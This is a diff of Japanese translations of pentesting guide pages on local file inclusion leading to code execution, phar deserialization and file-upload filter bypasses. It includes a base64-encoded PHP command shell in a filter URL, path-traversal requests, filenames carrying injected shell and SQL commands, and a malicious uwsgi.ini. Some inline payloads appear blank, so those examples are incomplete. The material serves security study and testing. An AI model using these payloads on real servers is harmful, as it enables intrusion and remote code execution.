他のログでもこれを行うことができますが、**注意してください**。ログ内のコードはURLエンコードされている可能性があり、これがシェルを破壊する可能性があります。ヘッダー**authorization "basic"**には、Base64で"ユーザー:パスワード"が含まれており、ログ内でデコードされます。PHPShellはこのヘッダー内に挿入できます。\ 他の可能なログパス: @@ -448,7 +452,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin ### メール経由 -**メールを送信** して、PHPペイロード `` を含む内部アカウント (user@localhost) に送信し、**`/var/mail/`** または **`/var/spool/mail/`** のようなパスでユーザーのメールに含めることを試みます。 +**内部アカウントにメールを送信** (user@localhost) し、PHPペイロード `` を含め、**`/var/mail/`** または **`/var/spool/mail/`** のようなパスでユーザーのメールに含めるようにします。 ### /proc/\*/fd/\* 経由 @@ -457,7 +461,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin ### /proc/self/environ 経由 -ログファイルのように、User-Agent にペイロードを送信します。これにより、/proc/self/environ ファイル内に反映されます。 +ログファイルのように、User-Agentにペイロードを送信します。これにより、/proc/self/environファイル内に反映されます。 ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: @@ -492,7 +496,7 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm ``` login=1&user=&pass=password&lang=en_us.php ``` -LFIを使用してPHPセッションファイルを含めます。 +LFIを使用してPHPセッションファイルを含める ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` @@ -509,7 +513,7 @@ FTPサーバーvsftpdのログは_**/var/log/vsftpd.log**_にあります。Loca ### Via php base64 filter (using base64) -[この](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)記事に示されているように、PHP base64フィルターは非base64を無視します。これを利用してファイル拡張子のチェックをバイパスできます:もし".php"で終わるbase64を提供すると、"."を無視して"php"をbase64に追加します。以下はペイロードの例です: +[この](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)記事に示されているように、PHP base64フィルターは非base64を無視します。これを使用してファイル拡張子のチェックをバイパスできます:もし".php"で終わるbase64を提供すると、"."を無視して"php"をbase64に追加します。以下はペイロードの例です: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php @@ -517,7 +521,7 @@ NOTE: the payload is "" ``` ### Via php filters (no file needed) -この[**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)は、**phpフィルターを使用して任意のコンテンツを出力として生成できる**ことを説明しています。基本的には、**ファイルに書き込むことなく**、インクルード用の**任意のphpコードを生成できる**ということです。 +この[**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)は、**phpフィルターを使用して任意のコンテンツを出力として生成できる**ことを説明しています。基本的には、**ファイルに書き込むことなく任意のphpコードを生成できる**ということです。 {{#ref}} lfi2rce-via-php-filters.md @@ -525,7 +529,7 @@ lfi2rce-via-php-filters.md ### Via segmentation fault -**ファイルをアップロード**し、それが`/tmp`に**一時的に**保存されるようにします。その後、**同じリクエストで、** **セグメンテーションフォルト**を引き起こすと、**一時ファイルは削除されず**、それを検索できます。 +**ファイルをアップロード**し、それが`/tmp`に**一時的に**保存されるようにします。その後、**同じリクエストで**、**セグメンテーションフォルト**を引き起こし、**一時ファイルが削除されない**ようにします。そうすれば、それを探すことができます。 {{#ref}} lfi2rce-via-segmentation-fault.md @@ -557,7 +561,7 @@ lfi2rce-via-temp-file-uploads.md ### Via `pearcmd.php` + URL args -[**この投稿で説明されているように**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)、スクリプト`/usr/local/lib/phppearcmd.php`は、php dockerイメージにデフォルトで存在します。さらに、URLを介してスクリプトに引数を渡すことが可能で、URLパラメータに`=`がない場合、それを引数として使用する必要があることが示されています。 +[**この投稿で説明されているように**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)、スクリプト`/usr/local/lib/phppearcmd.php`は、phpのdockerイメージにデフォルトで存在します。さらに、URLを介してスクリプトに引数を渡すことが可能で、URLパラメータに`=`がない場合、それを引数として使用する必要があると示されています。 次のリクエストは、`/tmp/hello.php`に``という内容のファイルを作成します: ```bash @@ -572,7 +576,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php ``` ### phpinfo()を介して (file_uploads = on) -**Local File Inclusion**を見つけ、file_uploads = onの**phpinfo()**を公開しているファイルがあれば、RCEを取得できます: +**Local File Inclusion**と**phpinfo()**を表示するファイルがfile_uploads = onである場合、RCEを取得できます: {{#ref}} lfi2rce-via-phpinfo.md @@ -580,7 +584,7 @@ lfi2rce-via-phpinfo.md ### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + パス開示を介して -**Local File Inclusion**を見つけ、**一時ファイルのパスを外部に漏洩できるが、**サーバーが**含めるファイルにPHPマークがあるかを**チェックしている場合、**この**レースコンディション**を使って**そのチェックをバイパス**しようとすることができます: +**Local File Inclusion**を発見し、**一時ファイルのパスを外部に漏洩できる**が、**サーバー**が**含めるファイルにPHPマークがあるかをチェックしている**場合、この**レースコンディション**を使って**そのチェックをバイパス**しようとできます: {{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md @@ -588,7 +592,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md ### 永遠の待機 + ブルートフォースを介して -LFIを悪用して**一時ファイルをアップロード**し、サーバーがPHP実行を**ハング**させることができれば、**数時間にわたってファイル名をブルートフォース**して一時ファイルを見つけることができます: +LFIを悪用して**一時ファイルをアップロード**し、サーバーがPHP実行を**ハング**させることができる場合、**数時間にわたってファイル名をブルートフォース**して一時ファイルを見つけることができます: {{#ref}} lfi2rce-via-eternal-waiting.md @@ -596,10 +600,10 @@ lfi2rce-via-eternal-waiting.md ### 致命的エラーに至る -`/usr/bin/phar`、`/usr/bin/phar7`、`/usr/bin/phar.phar7`、`/usr/bin/phar.phar`のいずれかのファイルを含めると、(そのエラーを引き起こすために同じものを2回含める必要があります)。 +ファイル`/usr/bin/phar`、`/usr/bin/phar7`、`/usr/bin/phar.phar7`、`/usr/bin/phar.phar`のいずれかを含めると、(そのエラーを引き起こすために同じものを2回含める必要があります)。 **これがどのように役立つのかはわかりませんが、役立つかもしれません。**\ -&#xNAN;_EたとえPHPの致命的エラーを引き起こしても、アップロードされたPHPの一時ファイルは削除されます。_ +&#xNAN;_EたとえPHP致命的エラーを引き起こしても、アップロードされたPHP一時ファイルは削除されます。_
diff --git a/src/pentesting-web/file-inclusion/phar-deserialization.md b/src/pentesting-web/file-inclusion/phar-deserialization.md index 5d99662c9..66c4d84cb 100644 --- a/src/pentesting-web/file-inclusion/phar-deserialization.md +++ b/src/pentesting-web/file-inclusion/phar-deserialization.md @@ -1,14 +1,12 @@ -# phar:// deserialization +# phar:// デシリアライズ {{#include ../../banners/hacktricks-training.md}} +**Phar** ファイル (PHP アーカイブ) は **シリアライズ形式のメタデータ** を含んでいるため、解析されるとこの **メタデータ** は **デシリアライズ** され、**PHP** コード内の **デシリアライズ** 脆弱性を悪用することができます。 +この特性の最も良い点は、**file_get_contents()、fopen()、file() または file_exists()、md5_file()、filemtime() または filesize()** のような PHP コードを評価しない関数を使用しても、このデシリアライズが発生することです。 -**Phar**ファイル(PHPアーカイブ)ファイルは**シリアライズ形式のメタデータを含んでいます**。したがって、解析されると、この**メタデータ**は**デシリアライズ**され、**PHP**コード内の**デシリアライズ**脆弱性を悪用しようとすることができます。 - -この特性の最も良い点は、**file_get_contents()、fopen()、file()またはfile_exists()、md5_file()、filemtime()またはfilesize()**のようなPHPコードを評価しない関数を使用しても、このデシリアライズが発生することです。 - -したがって、任意のファイルのサイズを**`phar://`**プロトコルを使用して取得するPHPウェブがある状況を想像してみてください。そして、コード内に次のような**クラス**が見つかります: +したがって、任意のファイルのサイズを **`phar://`** プロトコルを使用して取得する PHP ウェブがある状況を想像してみてください。そして、コード内に次のような **クラス** が見つかります: ```php:vunl.php data); filesize("phar://test.phar"); #The attacker can control this path ``` -あなたは、読み込まれると**このクラスを悪用して任意のコマンドを実行する**ような**phar**ファイルを作成できます。 +あなたは、読み込まれるとこのクラスを悪用して任意のコマンドを実行する**phar**ファイルを作成できます。 ```php:create_phar.php setMetadata($object); $phar->stopBuffering(); ``` -注意してください、**JPGのマジックバイト**(`\xff\xd8\xff`)がpharファイルの先頭に追加されて、**可能な**ファイル**アップロード**の**制限**を**回避**します。\ -`test.phar`ファイルを次のように**コンパイル**します: +注意してください、**JPGのマジックバイト**(`\xff\xd8\xff`)がpharファイルの先頭に追加されて、**可能な**ファイル**アップロード**の**制限**を**回避**するために使用されます。\ +`test.phar`ファイルを次のようにコンパイルします: ```bash php --define phar.readonly=0 create_phar.php ``` @@ -61,8 +59,8 @@ php vuln.php ``` ### 参考文献 -{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %} - - +{{#ref}} +https://blog.ripstech.com/2018/new-php-exploitation-technique/ +{{#endref}} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index ec32a6fd8..2b914470f 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -2,7 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} - ## ファイルアップロード一般的手法 他の有用な拡張子: @@ -22,7 +21,7 @@ 2. _実行拡張子の前に**有効な拡張子を追加**してチェックします(前の拡張子も使用):_ - _file.png.php_ - _file.png.Php5_ -3. **特殊文字を末尾に追加**してみてください。Burpを使用してすべての**ascii**および**Unicode**文字を**ブルートフォース**することができます。 (_前述の**拡張子**を使用しても良いことに注意してください_) +3. **特殊文字を末尾に追加**してみてください。Burpを使用してすべての**ascii**および**Unicode**文字を**ブルートフォース**することができます。 (_前述の**拡張子**を使用しても良いです_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -32,7 +31,7 @@ - _file._ - _file.php...._ - _file.pHp5...._ -4. **サーバー側の拡張子パーサーをだまして**保護をバイパスしてみてください。**拡張子を二重にする**か、**ジャンク**データ(**null**バイト)を拡張子の間に追加する技術を使用します。 _より良いペイロードを準備するために**前の拡張子**を使用することもできます。_ +4. **サーバー側の拡張子パーサーをだまして**保護をバイパスしてみてください。**拡張子を二重にする**か、**ジャンク**データ(**null**バイト)を拡張子の間に追加します。 _前の拡張子を使用して、より良いペイロードを準備することもできます。_ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -44,15 +43,15 @@ 5. 前のチェックに**別の拡張子の層を追加**します: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. **有効な拡張子の前にexec拡張子を置いて**、サーバーが誤って設定されていることを祈ります。(拡張子が**.php**で終わらないが、**.php**で終わるものはすべてコードを実行するApacheの誤設定を悪用するのに役立ちます): +6. **有効な拡張子の前にexec拡張子を置き**、サーバーが誤って設定されていることを祈ります。(拡張子が**.php**で終わらない場合でも、Apacheの誤設定を悪用するのに役立ちます): - _例: file.php.png_ -7. **Windows**の**NTFS代替データストリーム(ADS)**を使用します。この場合、禁止された拡張子の後にコロン文字「:」を挿入し、許可された拡張子の前に挿入します。その結果、サーバー上に**禁止された拡張子の空のファイル**が作成されます(例: “file.asax:.jpg”)。このファイルは、他の技術を使用して後で編集することができます。 “**::$data**”パターンを使用して非空のファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立ちます(例: “file.asp::$data.”) +7. **Windows**での**NTFS代替データストリーム(ADS)**を使用します。この場合、禁止された拡張子の後にコロン文字「:」を挿入し、許可された拡張子の前に挿入します。その結果、サーバー上に**禁止された拡張子の空のファイル**が作成されます(例: “file.asax:.jpg”)。このファイルは、他の技術を使用して後で編集することができます。 “**::$data**”パターンを使用して非空のファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立ちます(例: “file.asp::$data.”) 8. ファイル名の制限を破ることを試みます。有効な拡張子が切り捨てられ、悪意のあるPHPが残ります。 AAA<--SNIP-->AAA.php ``` # Linuxの最大255バイト /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 -Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ここで4を引き、.pngを追加 +Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ここで4を引き、.pngを追加 # ファイルをアップロードし、許可される文字数の応答を確認します。236としましょう python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @@ -60,19 +59,19 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA<--SNIP 232 A-->AAA.php.png ``` -### Content-Type、マジックナンバー、圧縮およびリサイズのバイパス +### コンテンツタイプ、マジックナンバー、圧縮&リサイズのバイパス - **Content-Type**チェックをバイパスするには、**Content-Type** **ヘッダー**の**値**を次のように設定します: _image/png_ , _text/plain , application/octet-stream_ 1. Content-Type **ワードリスト**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- ファイルの先頭に**実際の画像のバイト**を追加して**マジックナンバー**チェックをバイパスします(_file_コマンドを混乱させます)。または、**メタデータ**内にシェルを挿入します:\ +- **マジックナンバー**チェックをバイパスするには、ファイルの先頭に**実際の画像のバイト**を追加します(_file_コマンドを混乱させます)。または、**メタデータ**内にシェルを挿入します:\ `exiftool -Comment="' >> img.png` - **圧縮が画像に追加されている**場合、たとえば、[PHP-GD](https://www.php.net/manual/fr/book.image.php)のような標準のPHPライブラリを使用している場合、前述の技術は役に立ちません。しかし、**PLTEチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入できます。 - [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- ウェブページが画像を**リサイズ**している可能性もあります。たとえば、PHP-GD関数`imagecopyresized`または`imagecopyresampled`を使用しています。しかし、**IDATチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入できます。 +- ウェブページが画像を**リサイズ**している場合、たとえば、PHP-GD関数 `imagecopyresized` または `imagecopyresampled`を使用している場合、前述の技術は役に立ちません。しかし、**IDATチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入できます。 - [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- 画像のリサイズに耐えるペイロードを作成する別の技術として、PHP-GD関数`thumbnailImage`を使用します。しかし、**tEXtチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入できます。 +- 画像のリサイズに耐えるペイロードを作成する別の技術として、PHP-GD関数 `thumbnailImage`を使用します。しかし、**tEXtチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入できます。 - [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) ### その他のチェックするトリック @@ -80,18 +79,18 @@ AAA<--SNIP 232 A-->AAA.php.png - すでにアップロードされたファイルの**名前を変更**する脆弱性を見つけます(拡張子を変更するため)。 - **ローカルファイルインクルージョン**の脆弱性を見つけてバックドアを実行します。 - **情報漏洩の可能性**: -1. **同時に**同じ**名前**の**同じファイル**を**何度も**アップロードします。 -2. **既に存在する**ファイルまたは**フォルダー**の**名前**でファイルをアップロードします。 -3. **“.”、 “..”、または “…”**を名前に持つファイルをアップロードします。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」というファイル名は「/www/」ディレクトリに「uploads」というファイルを作成します。 +1. **同じファイル**を**同時に**何度もアップロードします。 +2. **既存のファイル**または**フォルダ**の**名前**でファイルをアップロードします。 +3. **“.”, “..”, または “…”**を名前に持つファイルをアップロードします。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」というファイル名は「/www/」ディレクトリに「uploads」というファイルを作成します。 4. **NTFS**で簡単に削除できないファイル(例: **“…:.jpg”**)をアップロードします。(Windows) -5. **無効な文字**(例: `|<>*?”`)を名前に持つファイルを**Windows**にアップロードします。(Windows) -6. **予約された**(**禁止された**)**名前**(例: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9)を使用してファイルを**Windows**にアップロードします。 -- また、**実行可能ファイル**(.exe)や**.html**(あまり疑わしくない)をアップロードして、被害者が誤って開いたときに**コードを実行**させることを試みてください。 +5. **Windows**で**無効な文字**(例: `|<>*?”`)を名前に持つファイルをアップロードします。(Windows) +6. **Windows**で**予約された**(**禁止された**)**名前**(例: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9)を使用してファイルをアップロードします。 +- **実行可能ファイル**(.exe)または**.html**(あまり疑わしくない)をアップロードして、被害者が誤って開いたときに**コードを実行**させることも試みてください。 ### 特殊な拡張子のトリック -**PHPサーバー**にファイルをアップロードしようとしている場合は、[コードを実行するための**.htaccess**トリックを確認してください](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)。\ -**ASPサーバー**にファイルをアップロードしようとしている場合は、[コードを実行するための**.config**トリックを確認してください](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。 +**PHPサーバー**にファイルをアップロードしようとしている場合、[コードを実行するための**.htaccess**トリックを確認してください](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)。\ +**ASPサーバー**にファイルをアップロードしようとしている場合、[コードを実行するための**.config**トリックを確認してください](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。 `.phar`ファイルはJavaの`.jar`のようなもので、PHP用であり、**PHPファイルのように使用**できます(PHPで実行したり、スクリプト内に含めたりできます...) @@ -107,7 +106,7 @@ JettyサーバーにXMLファイルをアップロードできる場合、[**新 この脆弱性の詳細な調査については、元の研究を確認してください: [uWSGI RCEの悪用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。 -リモートコマンド実行(RCE)脆弱性は、`.ini`構成ファイルを変更する能力がある場合、uWSGIサーバーで悪用できます。uWSGI構成ファイルは、"magic"変数、プレースホルダー、および演算子を組み込むために特定の構文を利用します。特に、`@(filename)`として使用される'@'演算子は、ファイルの内容を含めるために設計されています。uWSGIでサポートされているさまざまなスキームの中で、"exec"スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、`.ini`構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪意のある目的に操作される可能性があります。 +リモートコマンド実行(RCE)脆弱性は、`.ini`構成ファイルを変更する能力がある場合、uWSGIサーバーで悪用できます。uWSGI構成ファイルは、"magic"変数、プレースホルダー、および演算子を組み込むために特定の構文を利用します。特に、`@(filename)`として使用される'@'演算子は、ファイルの内容を含めるために設計されています。uWSGIでサポートされているさまざまなスキームの中で、"exec"スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、`.ini`構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪意のある目的に悪用される可能性があります。 以下は、さまざまなスキームを示す有害な`uwsgi.ini`ファイルの例です: ```ini @@ -129,11 +128,11 @@ characters = @(call://uwsgi_func) ``` ペイロードの実行は、設定ファイルの解析中に発生します。設定が有効化され、解析されるためには、uWSGIプロセスを再起動する必要があります(クラッシュ後やサービス拒否攻撃のために)またはファイルを自動再読み込みに設定する必要があります。自動再読み込み機能が有効になっている場合、変更を検出すると指定された間隔でファイルが再読み込みされます。 -uWSGIの設定ファイル解析の緩い性質を理解することが重要です。具体的には、議論されたペイロードはバイナリファイル(画像やPDFなど)に挿入でき、潜在的な悪用の範囲をさらに広げます。 +uWSGIの設定ファイル解析の緩い性質を理解することが重要です。具体的には、議論されたペイロードはバイナリファイル(画像やPDFなど)に挿入でき、潜在的な悪用の範囲をさらに広げることができます。 ## **wget File Upload/SSRF Trick** -場合によっては、サーバーが**`wget`**を使用して**ファイルをダウンロード**しており、**URL**を**指定**できることがあります。この場合、コードはダウンロードされたファイルの拡張子がホワイトリスト内にあるかどうかを確認して、許可されたファイルのみがダウンロードされることを保証しているかもしれません。しかし、**このチェックは回避可能です。**\ +場合によっては、サーバーが**`wget`**を使用して**ファイルをダウンロード**しており、**URL**を**指定**できることがあります。この場合、コードはダウンロードされたファイルの拡張子がホワイトリストに含まれているかを確認して、許可されたファイルのみがダウンロードされることを保証しているかもしれません。しかし、**このチェックは回避可能です。**\ **linux**における**ファイル名**の**最大**長は**255**ですが、**wget**はファイル名を**236**文字に切り詰めます。**"A"\*232+".php"+".gif"**という名前のファイルを**ダウンロード**できます。このファイル名は**チェックを回避**します(この例では**".gif"**は**有効**な拡張子です)が、`wget`はファイル名を**"A"\*232+".php"**に**変更**します。 ```bash #Create file and HTTP server @@ -161,23 +160,23 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= ## ツール -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) は、ペンテスターやバグハンターがファイルアップロードメカニズムをテストするために設計された強力なツールです。さまざまなバグバウンティ技術を活用して、脆弱性の特定と悪用のプロセスを簡素化し、Webアプリケーションの徹底的な評価を保証します。 +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) は、ペンテスターやバグハンターがファイルアップロードメカニズムをテストするのを支援するために設計された強力なツールです。さまざまなバグバウンティ技術を活用して、脆弱性の特定と悪用のプロセスを簡素化し、Webアプリケーションの徹底的な評価を保証します。 ## ファイルアップロードから他の脆弱性へ -- **filename**を`../../../tmp/lol.png`に設定して**パストラバーサル**を試みる -- **filename**を`sleep(10)-- -.jpg`に設定すると、**SQLインジェクション**を達成できるかもしれません -- **filename**を``に設定してXSSを達成する -- **filename**を`; sleep 10;`に設定してコマンドインジェクションをテストする(他の[コマンドインジェクションのトリックはこちら](../command-injection.md)) +- **filename** を `../../../tmp/lol.png` に設定して、**パストラバーサル**を試みてください。 +- **filename** を `sleep(10)-- -.jpg` に設定すると、**SQLインジェクション**を達成できるかもしれません。 +- **filename** を `` に設定して、XSSを達成してください。 +- **filename** を `; sleep 10;` に設定して、いくつかのコマンドインジェクションをテストします(詳細な [コマンドインジェクションのトリックはこちら](../command-injection.md))。 - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/#xss-uploading-files-svg) - **JS**ファイル**アップロード** + **XSS** = [**Service Workers**の悪用](../xss-cross-site-scripting/#xss-abusing-service-workers) - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) -- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)から**異なるsvgペイロード**を試す +- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)から**異なるsvgペイロード**を試してください。 - [有名な**ImageTrick**脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) - **URLから画像を取得するようにWebサーバーを指示できる**場合、[SSRF](../ssrf-server-side-request-forgery/)を悪用することを試みることができます。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定して、**訪問者の情報を盗む**こともできます。 -- [PDF-Adobeアップロードによる**XXEとCORS**バイパス](pdf-upload-xxe-and-cors-bypass.md) -- 特別に作成されたPDFによるXSS: [次のページでは、**PDFデータを注入してJS実行を取得する方法**を示しています](../xss-cross-site-scripting/pdf-injection.md)。PDFをアップロードできる場合、与えられた指示に従って任意のJSを実行するPDFを準備できます。 +- [**XXEとCORS**バイパスをPDF-Adobeアップロードで](pdf-upload-xxe-and-cors-bypass.md) +- 特別に作成されたPDFでXSS: [次のページでは、**PDFデータを注入してJS実行を取得する方法**を示しています](../xss-cross-site-scripting/pdf-injection.md)。PDFをアップロードできる場合、与えられた指示に従って任意のJSを実行するPDFを準備できます。 - \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))の内容をアップロードして、サーバーに**ウイルス対策ソフト**があるかどうかを確認します。 - ファイルをアップロードする際に**サイズ制限**があるかどうかを確認します。 @@ -196,9 +195,11 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= #### Burp拡張機能 -{% embed url="https://github.com/portswigger/upload-scanner" %} +{{#ref}} +https://github.com/portswigger/upload-scanner +{{#endref}} -## マジックヘッダバイト +## マジックヘッダーバイト - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` - **JPG**: `"\xff\xd8\xff"` @@ -209,15 +210,15 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= サーバー内で解凍されるZIPをアップロードできる場合、2つのことができます: -#### シンリンク +#### シンボリックリンク -他のファイルへのソフトリンクを含むリンクをアップロードし、解凍されたファイルにアクセスすることでリンクされたファイルにアクセスします。 +他のファイルへのソフトリンクを含むリンクをアップロードし、解凍されたファイルにアクセスすることで、リンクされたファイルにアクセスします。 ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` -### 異なるフォルダーに展開する +### 異なるフォルダに展開する 展開中にディレクトリ内にファイルが予期せず作成されることは重大な問題です。この設定が悪意のあるファイルアップロードによるOSレベルのコマンド実行から守ると最初は考えられていましたが、ZIPアーカイブ形式の階層的圧縮サポートとディレクトリトラバーサル機能が悪用される可能性があります。これにより、攻撃者は制限を回避し、ターゲットアプリケーションの展開機能を操作することで安全なアップロードディレクトリから脱出することができます。 @@ -298,9 +299,9 @@ PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特 ポリグロットファイルはサイバーセキュリティにおいてユニークなツールとして機能し、複数のファイル形式に同時に有効に存在できるカメレオンのような役割を果たします。興味深い例としては、GIFとRARアーカイブの両方として機能するハイブリッドである[GIFAR](https://en.wikipedia.org/wiki/Gifar)があります。このようなファイルはこのペアリングに限らず、GIFとJSやPPTとJSの組み合わせも可能です。 -ポリグロットファイルの主な利点は、タイプに基づいてファイルをスクリーニングするセキュリティ対策を回避する能力にあります。さまざまなアプリケーションでは、JPEG、GIF、DOCなどの特定のファイルタイプのみをアップロードすることが一般的であり、潜在的に有害なフォーマット(例:JS、PHP、Pharファイル)によるリスクを軽減します。しかし、ポリグロットは複数のファイルタイプの構造基準に適合することで、これらの制限を巧妙に回避できます。 +ポリグロットファイルの主な利点は、タイプに基づいてファイルをスクリーニングするセキュリティ対策を回避できる能力にあります。さまざまなアプリケーションでは、JPEG、GIF、DOCなどの特定のファイルタイプのみをアップロードすることが一般的であり、潜在的に有害なフォーマット(例:JS、PHP、Pharファイル)によるリスクを軽減します。しかし、ポリグロットは複数のファイルタイプの構造基準に適合することで、これらの制限を巧妙に回避できます。 